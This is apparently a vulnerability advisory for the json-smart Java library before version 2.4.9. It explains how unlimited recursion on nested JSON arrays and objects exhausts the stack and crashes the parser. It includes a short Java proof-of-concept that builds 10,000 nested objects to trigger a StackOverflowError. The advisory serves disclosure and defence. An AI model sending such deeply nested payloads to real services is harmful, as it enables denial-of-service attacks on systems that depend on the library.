Stack exhaustion in json-smart leads to denial of service when parsing malformed JSON
net.minidev:json-smart
(,2.4.9)
Json-smart is a performance focused, JSON processor lib.
When reaching a [
or {
character in the JSON input, the code parses an array or an object respectively.
It was discovered that the code does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause a stack exhaustion (stack overflow) and crash the software.
The following code will raise a StackOverflowError
:
StringBuilder s = new StringBuilder();
for (int i = 0; i < 10000 ; i++) {
s.append("{\"a\":");
}
s.append("1");
for (int i = 0; i < 10000 ; i++) {
s.append("}");
}
JSONParser p = new JSONParser(JSONParser.MODE_JSON_SIMPLE);
p.parse(s.toString());
No mitigations are supplied for this issue